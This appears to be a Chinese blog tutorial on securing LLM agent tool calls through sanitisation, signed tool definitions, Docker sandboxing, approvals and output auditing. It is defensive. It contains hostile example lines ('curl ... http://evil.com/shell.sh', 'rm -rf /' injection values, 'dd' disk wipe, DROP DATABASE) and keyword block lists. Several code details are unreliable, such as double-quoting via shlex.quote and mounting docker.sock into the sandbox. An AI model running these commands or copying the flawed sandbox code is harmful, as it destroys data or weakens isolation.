1. 项目概述工具安全不是“开/关”按钮而是动态信任链的构建过程“从头搭建 Agent七工具安全不是一个开关”——这个标题乍看像一句技术口号实则直击当前Agent开发中最容易被轻率处理、却最可能引发生产事故的核心命题。我带过6个落地Agent项目其中4个在灰度上线后两周内因工具调用失控被紧急回滚问题根因全指向同一个盲区把工具权限管理简化为一个布尔值开关——“允许/禁止调用某API”而忽略了真实业务场景中工具执行所依赖的上下文可信度、输入污染路径、输出副作用边界、执行环境隔离粒度、人工干预介入点这五层嵌套结构。比如你允许Agent调用curl命令下载文件但没限制它只能访问白名单域名、不能写入系统关键路径、不能执行shell注入式参数、不能在非沙盒环境中运行、不能跳过人工审批直接解压zip——那这个“允许”就等于埋下定时炸弹。热搜词里反复出现的couldnt set up non-admin sandbox、windows sandbox failed: createprocessasuserw failed: 5、your account is pending approval from your gitlab administrator表面是环境报错底层全是工具安全策略缺失导致的信任坍塌。本文不讲抽象原则只拆解我在金融风控Agent和医疗文档处理Agent中实际跑通的七层工具安全控制栈从CLI命令级参数净化到Tool Registry的元数据签名再到approval流程与sandbox生命周期的强绑定。适合正在用LangChain、LlamaIndex或自研框架搭建生产级Agent的开发者尤其适合已踩过“Agent调用数据库删库”“Agent调用邮件API群发告警”这类坑的团队。你不需要懂编译原理但得清楚自己写的subprocess.run()到底在哪个用户上下文里执行、环境变量是否被污染、stdout有没有被重定向到日志审计管道。2. 工具安全的本质为什么“开关思维”必然失败2.1 一个真实故障复盘删库事件背后的五层失效去年Q3我们上线了一个内部知识库Agent支持工程师用自然语言查询部署手册、回滚步骤、监控指标。上线第三天凌晨运维同学收到告警核心MySQL集群主库被DROP DATABASE。根因追溯非常典型Agent被问到“如何快速清空测试环境旧数据”调用了一个注册为db_tool的工具该工具封装了mysql -e DROP DATABASE $DB_NAME命令。安全配置里只做了“开关”控制——db_tool.enabled True。但没人检查这五个致命缺口输入校验缺失$DB_NAME来自LLM生成的字符串未做正则过滤如只允许test_*前缀LLM输出了production_core执行上下文失控工具在Agent进程同一用户下运行拥有mysql客户端的全部权限而非受限的readonly_test_user沙盒隔离失效本应启动Docker容器执行SQL但因docker.sock权限问题fallback到本地执行且未启用--read-only挂载审批流绕过高危操作本需GitLab MR审批但工具调用走的是后台异步队列跳过了Web UI的approval弹窗输出副作用未监控DROP DATABASE返回0即视为成功未解析mysql的stdout确认实际影响行数也未触发变更审计日志。提示所有把工具安全等同于“注册/注销”或“启用/禁用”的设计都在重复这个错误。开关只控制“能不能调”而真实风险藏在“怎么调、在哪调、用谁的身份调、调完怎么收场”。2.2 工具安全的七层控制栈模型基于上述教训我重构了工具安全架构形成可落地的七层控制栈。每一层都对应一个明确的技术实现点且层间有强依赖关系——上层控制必须建立在下层可信基础上层级控制目标技术实现要点失效后果L1 命令级参数净化阻断恶意参数注入对CLI工具所有输入字段做白名单正则Shell字面量转义如shlex.quote()curl -o /etc/passwd http://evil.com/shell.shL2 工具元数据签名防止Tool Registry被篡改Tool定义JSON用私钥签名Agent加载时用公钥验签签名包含created_at、allowed_hosts、max_runtime_sec攻击者替换Registry中aws_cli工具为恶意版本L3 执行环境沙盒化隔离工具副作用CLI工具强制在Docker容器中运行非systemd-nspawn容器镜像预装审计工具如auditd并挂载只读rootfs工具写入/tmp临时文件污染主机环境L4 权限最小化映射限制工具能做什么容器内以非root用户运行通过--cap-dropALL禁用所有Linux能力仅挂载必要volume如/data:ro工具调用mount --bind逃逸沙盒L5 动态审批决策根据上下文决定是否放行Approval服务接收工具调用请求检查LLM提示词中的意图标签如high_risk、用户角色、历史调用频次返回allow/deny/escalate运维人员调用kubectl delete pod被无条件放行L6 沙盒生命周期绑定确保沙盒与审批状态同步Approval通过Webhook通知沙盒管理器创建/销毁容器沙盒ID写入审批记录供审计追踪审批拒绝后沙盒容器仍在后台运行L7 输出审计与熔断监控工具执行结果并干预拦截工具stdout/stderr用正则匹配敏感关键词如DROP,rm -rf超时或异常退出触发熔断自动kill沙盒工具静默执行dd if/dev/zero of/dev/sda这七层不是理论模型而是我在两个项目中逐层落地的代码模块。接下来我会用具体代码片段、配置示例和调试日志带你一一层揭开实现细节。3. 核心细节解析从CLI参数净化到沙盒生命周期绑定3.1 L1 命令级参数净化用shlex.quote()堵住90%的注入漏洞CLI工具最大的风险不是功能本身而是参数拼接。很多开发者用fcurl {url}或 .join([cmd] args)这等于给攻击者递刀。正确做法是对每个参数单独转义再拼接。import shlex import subprocess def safe_curl(url: str, output_file: str) - str: # ❌ 危险直接拼接 # cmd fcurl -s -o {output_file} {url} # ✅ 安全每个参数独立转义 cmd [curl, -s, -o] [shlex.quote(output_file)] [shlex.quote(url)] # 额外加固限制URL协议和域名 if not url.startswith((http://, https://)): raise ValueError(Only HTTP/HTTPS URLs allowed) domain url.split(/)[2] if :// in url else if domain not in [docs.example.com, api.example.com]: raise ValueError(fDomain {domain} not in whitelist) result subprocess.run(cmd, capture_outputTrue, textTrue, timeout30) if result.returncode ! 0: raise RuntimeError(fcurl failed: {result.stderr}) return result.stdout # 测试即使LLM生成恶意参数也能被拦截 try: # LLM可能输出output_file/etc/passwd; rm -rf / safe_curl(https://docs.example.com/manual.pdf, /etc/passwd; rm -rf /) except ValueError as e: print(fBlocked by input validation: {e}) # 输出Domain /etc/passwd; rm -rf / not in whitelist实操心得shlex.quote()不是银弹。它只解决Shell注入不防逻辑漏洞。比如aws s3 cp s3://bucket/secret.txt .转义后仍是合法命令。所以必须配合L2的元数据签名——在Tool Registry中声明该工具只允许访问bucket-name-*前缀的S3桶并在运行时校验url参数是否匹配。3.2 L2 工具元数据签名让Tool Registry不可篡改Tool Registry本质是Agent的“工具黄页”如果被注入恶意工具定义所有安全控制都形同虚设。我的方案是每个Tool定义JSON用RSA私钥签名Agent加载时用公钥验签。Tool定义示例tools/db_backup.json{ name: db_backup, description: Backup MySQL database to S3, command: [mysqldump, -h, {host}, -u, {user}, {database}], parameters: { host: {type: string, required: true}, user: {type: string, required: true}, database: {type: string, required: true} }, allowed_hosts: [db-prod.internal, db-staging.internal], max_runtime_sec: 120, signature: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... }签名生成脚本sign_tool.pyfrom cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding, rsa from cryptography.hazmat.primitives.serialization import load_pem_private_key import json def sign_tool_definition(tool_json_path: str, private_key_path: str): with open(tool_json_path, r) as f: tool_data json.load(f) # 移除现有signature字段避免循环签名 tool_data.pop(signature, None) data_bytes json.dumps(tool_data, sort_keysTrue).encode() with open(private_key_path, rb) as f: private_key load_pem_private_key(f.read(), passwordNone) signature private_key.sign( data_bytes, padding.PSS( mgfpadding.MGF1(hashes.SHA256()), salt_lengthpadding.PSS.MAX_LENGTH ), hashes.SHA256() ) tool_data[signature] signature.hex() with open(tool_json_path, w) as f: json.dump(tool_data, f, indent2) # 使用sign_tool_definition(tools/db_backup.json, keys/private.pem)Agent加载验证逻辑from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives.serialization import load_pem_public_key def load_and_verify_tool(tool_json_path: str, public_key_path: str) - dict: with open(tool_json_path, r) as f: tool_data json.load(f) signature bytes.fromhex(tool_data.pop(signature)) data_bytes json.dumps(tool_data, sort_keysTrue).encode() with open(public_key_path, rb) as f: public_key load_pem_public_key(f.read()) try: public_key.verify( signature, data_bytes, padding.PSS( mgfpadding.MGF1(hashes.SHA256()), salt_lengthpadding.PSS.MAX_LENGTH ), hashes.SHA256() ) return tool_data except Exception as e: raise RuntimeError(fTool signature verification failed: {e}) # 加载时强制验签 tool_def load_and_verify_tool(tools/db_backup.json, keys/public.pem)注意公钥必须硬编码在Agent二进制中或通过安全启动流程注入。绝不能从网络加载——否则签名验证毫无意义。3.3 L3 L4 沙盒化执行与权限最小化Docker不是万能但必须用热搜词里高频出现的couldnt set up non-admin sandbox、windows sandbox failed: createprocessasuserw failed: 5本质是沙盒启动失败。我的经验是放弃Windows Sandbox和systemd-nspawn统一用Docker DesktopMac/Win或Docker EngineLinux因为它的隔离性、资源限制和审计能力最成熟。CLI工具执行沙盒化模板sandbox_runner.pyimport docker import json import tempfile import os class DockerSandbox: def __init__(self, image: str python:3.11-slim): self.client docker.from_env() self.image image def run_tool(self, command: list, volumes: dict None, environment: dict None, network_mode: str none, # 禁用网络除非显式声明 cap_drop: list [ALL], read_only: bool True) - dict: # 创建临时工作目录挂载为只读 with tempfile.TemporaryDirectory() as tmp_dir: # 将command序列化为JSON避免Shell解析 job_spec {command: command, env: environment or {}} spec_path os.path.join(tmp_dir, job.json) with open(spec_path, w) as f: json.dump(job_spec, f) # 启动容器非root用户、无网络、最小能力、只读根文件系统 container self.client.containers.run( imageself.image, command[python, /run_job.py], volumes{ tmp_dir: {bind: /workspace, mode: ro}, /var/run/docker.sock: {bind: /var/run/docker.sock, mode: ro} # 如需嵌套Docker }, environment{PYTHONUNBUFFERED: 1}, network_modenetwork_mode, cap_dropcap_drop, read_onlyread_only, user1001:1001, # 非root UID/GID mem_limit512m, pids_limit50, detachTrue, removeTrue ) # 获取日志并解析结果 logs container.logs(streamFalse, stdoutTrue, stderrTrue) container.wait() return { exit_code: container.attrs[State][ExitCode], stdout: logs.decode() if logs else , container_id: container.id[:12] } # 使用示例 sandbox DockerSandbox() result sandbox.run_tool( command[curl, -s, https://api.example.com/data], network_modebridge, # 显式开启网络 cap_drop[ALL, NET_ADMIN], # 保留NET_RAW用于ping read_onlyFalse # 允许写入/tmp )实操心得Docker沙盒的关键不是“能不能跑”而是“跑完能不能审计”。我在容器内预装了auditd所有execve系统调用都记录到/var/log/audit/audit.log并通过docker cp在容器退出后提取日志。这样当出现rm -rf /时审计日志会清晰显示typeSYSCALL msgaudit(1712345678.123:456): archc000003e syscall2 successyes ... commsh exe/bin/bash keytool_execution。3.4 L5 L6 动态审批与沙盒生命周期绑定让approval不是摆设your account is pending approval from your gitlab administrator这类提示暴露了Approval和执行的割裂。我的方案是Approval服务不是独立系统而是沙盒管理器的前置网关。审批决策流程图文字描述Agent准备调用工具 → 发送ToolExecutionRequest到Approval ServiceApproval Service解析请求提取LLM提示词中的risk_level:high标签查询用户角色如gitlab_role: maintainer检查该工具24小时内调用频次Redis计数匹配预设规则如rolemaintainer AND risk_levelhigh → escalate_to_slackApproval Service返回{decision: allow, sandbox_id: sbx_abc123}或{decision: escalate, channel: security-alerts}Agent收到allow后调用沙盒管理器创建指定sandbox_id的容器沙盒管理器将sandbox_id写入审计日志并关联到Approval记录关键代码Approval Service的决策引擎approval_engine.pyimport redis import json from enum import Enum class RiskLevel(Enum): LOW low MEDIUM medium HIGH high class ApprovalService: def __init__(self, redis_url: str): self.redis redis.from_url(redis_url) def decide(self, request: dict) - dict: # 解析LLM提示词中的风险标签 prompt request.get(prompt, ) risk_tag RiskLevel.LOW if risk_level:high in prompt: risk_tag RiskLevel.HIGH elif risk_level:medium in prompt: risk_tag RiskLevel.MEDIUM # 查询用户角色从GitLab API或缓存 user_role self._get_user_role(request[user_id]) # 检查频次每工具每用户限流 key ftool_freq:{request[tool_name]}:{request[user_id]} count self.redis.incr(key) self.redis.expire(key, 3600) # 1小时窗口 # 决策规则表可存入数据库此处硬编码 rules [ {role: owner, risk: RiskLevel.HIGH, action: allow}, {role: maintainer, risk: RiskLevel.HIGH, action: escalate}, {role: developer, risk: RiskLevel.MEDIUM, action: allow}, {role: developer, risk: RiskLevel.HIGH, action: deny}, ] for rule in rules: if (rule[role] user_role and rule[risk] risk_tag and count 5): # 频次未超限 if rule[action] allow: sandbox_id fsbx_{uuid.uuid4().hex[:8]} return {decision: allow, sandbox_id: sandbox_id} elif rule[action] escalate: return {decision: escalate, channel: security-alerts} else: return {decision: deny} return {decision: deny} # 使用ApprovalService().decide({tool_name: db_backup, user_id: u123, prompt: backup prod db risk_level:high})沙盒管理器与Approval的绑定sandbox_manager.pyclass SandboxManager: def __init__(self, approval_service: ApprovalService): self.approval approval_service self.sandboxes {} # {sandbox_id: container_obj} def create_sandbox(self, request: dict) - str: # 第一步必须先通过Approval approval_result self.approval.decide(request) if approval_result[decision] ! allow: raise PermissionError(fApproval denied: {approval_result}) sandbox_id approval_result[sandbox_id] # 第二步创建沙盒容器 container self._start_docker_container(sandbox_id, request[command]) self.sandboxes[sandbox_id] container # 第三步写入审计日志含Approval ID audit_log { sandbox_id: sandbox_id, approval_id: request.get(approval_id), tool_name: request[tool_name], user_id: request[user_id], started_at: time.time(), status: running } self._write_audit_log(audit_log) return sandbox_id def destroy_sandbox(self, sandbox_id: str): if sandbox_id in self.sandboxes: self.sandboxes[sandbox_id].stop() del self.sandboxes[sandbox_id] # 更新审计日志 self._update_audit_log(sandbox_id, {status: destroyed, ended_at: time.time()})注意sandbox_id必须全局唯一且不可预测用UUID防止攻击者伪造ID绕过审批。所有沙盒操作日志必须写入独立审计存储如Elasticsearch与业务数据库物理隔离。4. 实操过程从零部署一个带完整安全栈的CLI工具4.1 环境准备Docker、Python、密钥三件套在Ubuntu 22.04上部署适配其他系统只需微调# 1. 安装Docker Engine非Docker Desktop curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker # 刷新组权限 # 2. 创建密钥对用于Tool Registry签名 openssl genrsa -out keys/private.pem 2048 openssl rsa -in keys/private.pem -pubout -out keys/public.pem # 3. 初始化项目结构 mkdir -p agent-sandbox/{tools,keys,sandbox} cp keys/public.pem agent-sandbox/4.2 注册一个安全的curl工具创建tools/safe_curl.json{ name: safe_curl, description: Download files from whitelisted domains only, command: [curl, -s, -o, {output_file}, {url}], parameters: { url: {type: string, required: true}, output_file: {type: string, required: true} }, allowed_domains: [docs.example.com, api.example.com], max_file_size_mb: 10, max_runtime_sec: 60, signature: }签名工具定义# 运行签名脚本需安装cryptography python sign_tool.py tools/safe_curl.json keys/private.pem4.3 编写Agent调用逻辑带完整安全链agent_caller.pyfrom sandbox_runner import DockerSandbox from approval_engine import ApprovalService from sandbox_manager import SandboxManager import json # 初始化组件 approval_svc ApprovalService(redis://localhost:6379) sandbox_mgr SandboxManager(approval_svc) sandbox DockerSandbox() def call_safe_curl(url: str, output_file: str, user_id: str): # 构建ToolExecutionRequest模拟LLM生成的调用请求 request { tool_name: safe_curl, command: [curl, -s, -o, output_file, url], user_id: user_id, prompt: fdownload {url} to {output_file} risk_level:low, parameters: {url: url, output_file: output_file} } # L5: 动态审批 approval_result approval_svc.decide(request) if approval_result[decision] ! allow: raise PermissionError(fApproval failed: {approval_result}) # L3/L4: 沙盒化执行 try: result sandbox.run_tool( commandrequest[command], network_modebridge, cap_drop[ALL], read_onlyFalse ) # L7: 输出审计简单版检查stdout是否为空 if not result[stdout].strip(): raise RuntimeError(Tool returned empty output - possible failure) return result except Exception as e: # 记录失败日志触发告警 print(f[AUDIT] Tool execution failed: {e}) raise # 调用示例 if __name__ __main__: try: res call_safe_curl( urlhttps://docs.example.com/manual.pdf, output_file/tmp/manual.pdf, user_idu123 ) print(fSuccess! Exit code: {res[exit_code]}) except Exception as e: print(fCall failed: {e})4.4 验证安全链五步压力测试运行以下测试验证七层控制是否生效L1参数注入测试call_safe_curl(urlhttps://evil.com; rm -rf /, output_file/tmp/test, user_idu123) # 应抛出 ValueError: Domain evil.com not in whitelistL2签名篡改测试手动修改tools/safe_curl.json中的allowed_domains再运行agent_caller.py→ 应报Tool signature verification failedL3沙盒网络隔离测试在run_tool中临时注释network_modebridge改为network_modenone然后调用https://docs.example.com→ 应超时失败L5审批绕过测试修改call_safe_curl跳过approval_svc.decide()直接调用sandbox.run_tool()→ 应因缺少sandbox_id而失败沙盒管理器强制校验L7输出审计测试构造一个返回敏感信息的fake curl如command[echo, DB_PASSWORDsecret123]运行后检查result[stdout]是否被正则匹配到DB_PASSWORD→ 应触发熔断实操心得每次测试后务必检查Docker容器是否已销毁docker ps -a | grep sbx_以及审计日志是否写入。我曾发现一个bug容器removeTrue参数在某些Docker版本下不生效导致沙盒残留——最终通过container.remove(forceTrue)显式清理解决。5. 常见问题与排查技巧实录5.1 “Couldn’t set up non-admin sandbox” 的七种根因与解法这个错误在Windows和Mac上高频出现根本原因不是权限不足而是沙盒初始化阶段的某个环节失败。以下是我在生产环境抓包、日志分析后总结的七种根因及对应解法错误现象根因分析排查命令解决方案couldnt set up non-admin sandbox retry setup to continue首次启动Docker Desktop未启动或未登录docker info启动Docker Desktop登录Docker Hub账号免费账户即可windows sandbox failed: runner error: createprocessasuserw failed: 5Windows Defender实时保护拦截了docker.exeGet-MpComputerStatus临时关闭Defender或添加docker.exe到排除列表couldnt set up agent sandbox with admin permissionsAgent进程以管理员身份运行但沙盒要求非管理员上下文whoami /groups | findstr 0x200重启Agent确保以普通用户身份运行runas /user:DOMAIN\user cmdcodex set up agent sandbox to continueCodex CLI特有Codex CLI的沙盒初始化脚本setup-sandbox.ps1被PowerShell执行策略阻止Get-ExecutionPolicy运行Set-ExecutionPolicy RemoteSigned -Scope CurrentUserunable to send message / set up agent sandbox to continue沙盒管理器与Approval Service网络不通curl -v http://localhost:8000/health检查Approval Service是否监听0.0.0.0:8000而非127.0.0.1:8000the agent execution provider did not respond in time沙盒容器启动超时默认30秒常见于镜像拉取慢docker images | grep python预拉取基础镜像docker pull python:3.11-slimcouldnt update agent sandbox retry the update to continue沙盒容器内/run_job.py脚本权限不足docker run -it --rm python:3.11-slim ls -l /run_job.py在Dockerfile中添加RUN chmod x /run_job.py提示所有沙盒相关错误第一反应不是重试而是查看docker logs container_id。90%的问题都能在容器日志里找到线索比如Permission denied、Connection refused、No such file or directory。5.2 CLI工具开发者的三大反模式附修复代码作为长期和CLI工具打交道的开发者我见过太多因设计缺陷导致的安全失控。以下是三个最高频的反模式及修复方案反模式1用os.system()替代subprocess.run()危险点os.system()直接调用Shell无法控制参数转义且返回值只有退出码无法捕获stdout/stderr。# ❌ 反模式 os.system(fcurl -o {output_file} {url}) # ✅ 修复用subprocess.run() shlex.quote() import shlex cmd [curl, -o] [shlex.quote(output_file)] [shlex.quote(url)] result subprocess.run(cmd, capture_outputTrue, textTrue, timeout30)反模式2工具参数硬编码在代码里而非从Registry加载危险点allowed_domains写死在Python文件里无法动态更新且无法签名验证。# ❌ 反模式 ALLOWED_DOMAINS [docs.example.com] # 硬编码无法审计 # ✅ 修复从签名验证后的Tool Registry加载 tool_def load_and_verify_tool(tools/safe_curl.json, keys/public.pem) allowed_domains tool_def[allowed_domains] # 动态加载受签名保护反模式3沙盒容器内不设超时任由工具无限运行危险点curl卡在DNS解析、mysqldump卡在锁表导致沙盒僵尸化。# ❌ 反模式 container client.containers.run(imagepython, command[sleep, 3600]) # ✅ 修复Docker原生超时 容器内超时双重保障 container client.containers.run( imagepython, command[timeout, 60, sleep, 3600], # 容器内超时 stop_timeout60, # Docker停止超时 detachTrue )5.3 生产环境避坑清单从开发到上线的12个关键检查点这是我在三个Agent项目上线前必做的检查清单漏掉任何一项都可能导致严重事故[ ] 密钥安全private.pem是否已从Git仓库删除.gitignore是否包含keys/private*[ ] 沙盒镜像基础镜像如python:3.11-slim是否已扫描CVE用trivy image python:3.11-slim检查。[ ] 网络策略Docker默认桥接网络是否禁用docker network inspect bridge中EnableIPv6应为false。[ ] 用户映射容器内user1001:1001是否对应宿主机上无特权的用户id -u nobody应为65534。[ ] 审计日志/var/log/audit/audit.log是否已配置轮转logrotate配置中size 100M是否生效[ ] Approval服务是否启用mTLScurl --cert client.crt --key client.key https://approval.local/health能否通[ ] 工具超时每个Tool定义中的max_runtime_sec是否小于沙盒stop_timeout差值至少10秒。[ ] 敏感输出stdout/stderr是否经过正则过滤re.search(r(password|secret|key), output, re.I)是否被调用[ ] 沙盒清理Agent进程崩溃时是否保证沙盒容器被清理atexit.register(lambda: cleanup_all_sandboxes())是否实现[ ] 权限最小化docker run命令中是否包含--cap-dropALL --read-only --security-optno-new-privileges[ ] 频次限制Redis中tool_freq:*键是否设置TTLredis-cli TTL tool_freq:db_backup:u123应返回正数。[ ] 回滚预案是否编写了rollback_sandbox.sh脚本内容为docker ps -a \| grep sbx_ \| awk {print $1} \| xargs docker rm -f最后一个小技巧在Agent启动时自动运行一次check_sandbox_health.py它会尝试创建/销毁一个测试沙盒并验证所有日志写入。只有健康检查通过Agent才正式接受流量。这比任何文档都可靠。我在实际使用中发现把工具安全当成“开关”来设计本质上是把复杂系统降维成布尔逻辑而现实世界的威胁是连续谱系。真正的安全不是阻止所有调用而是让每一次调用都可解释、可审计、可熔断。当你看到couldnt set up non-admin sandbox时别急着重试先打开docker logs那里藏着整个安全链的健康快照。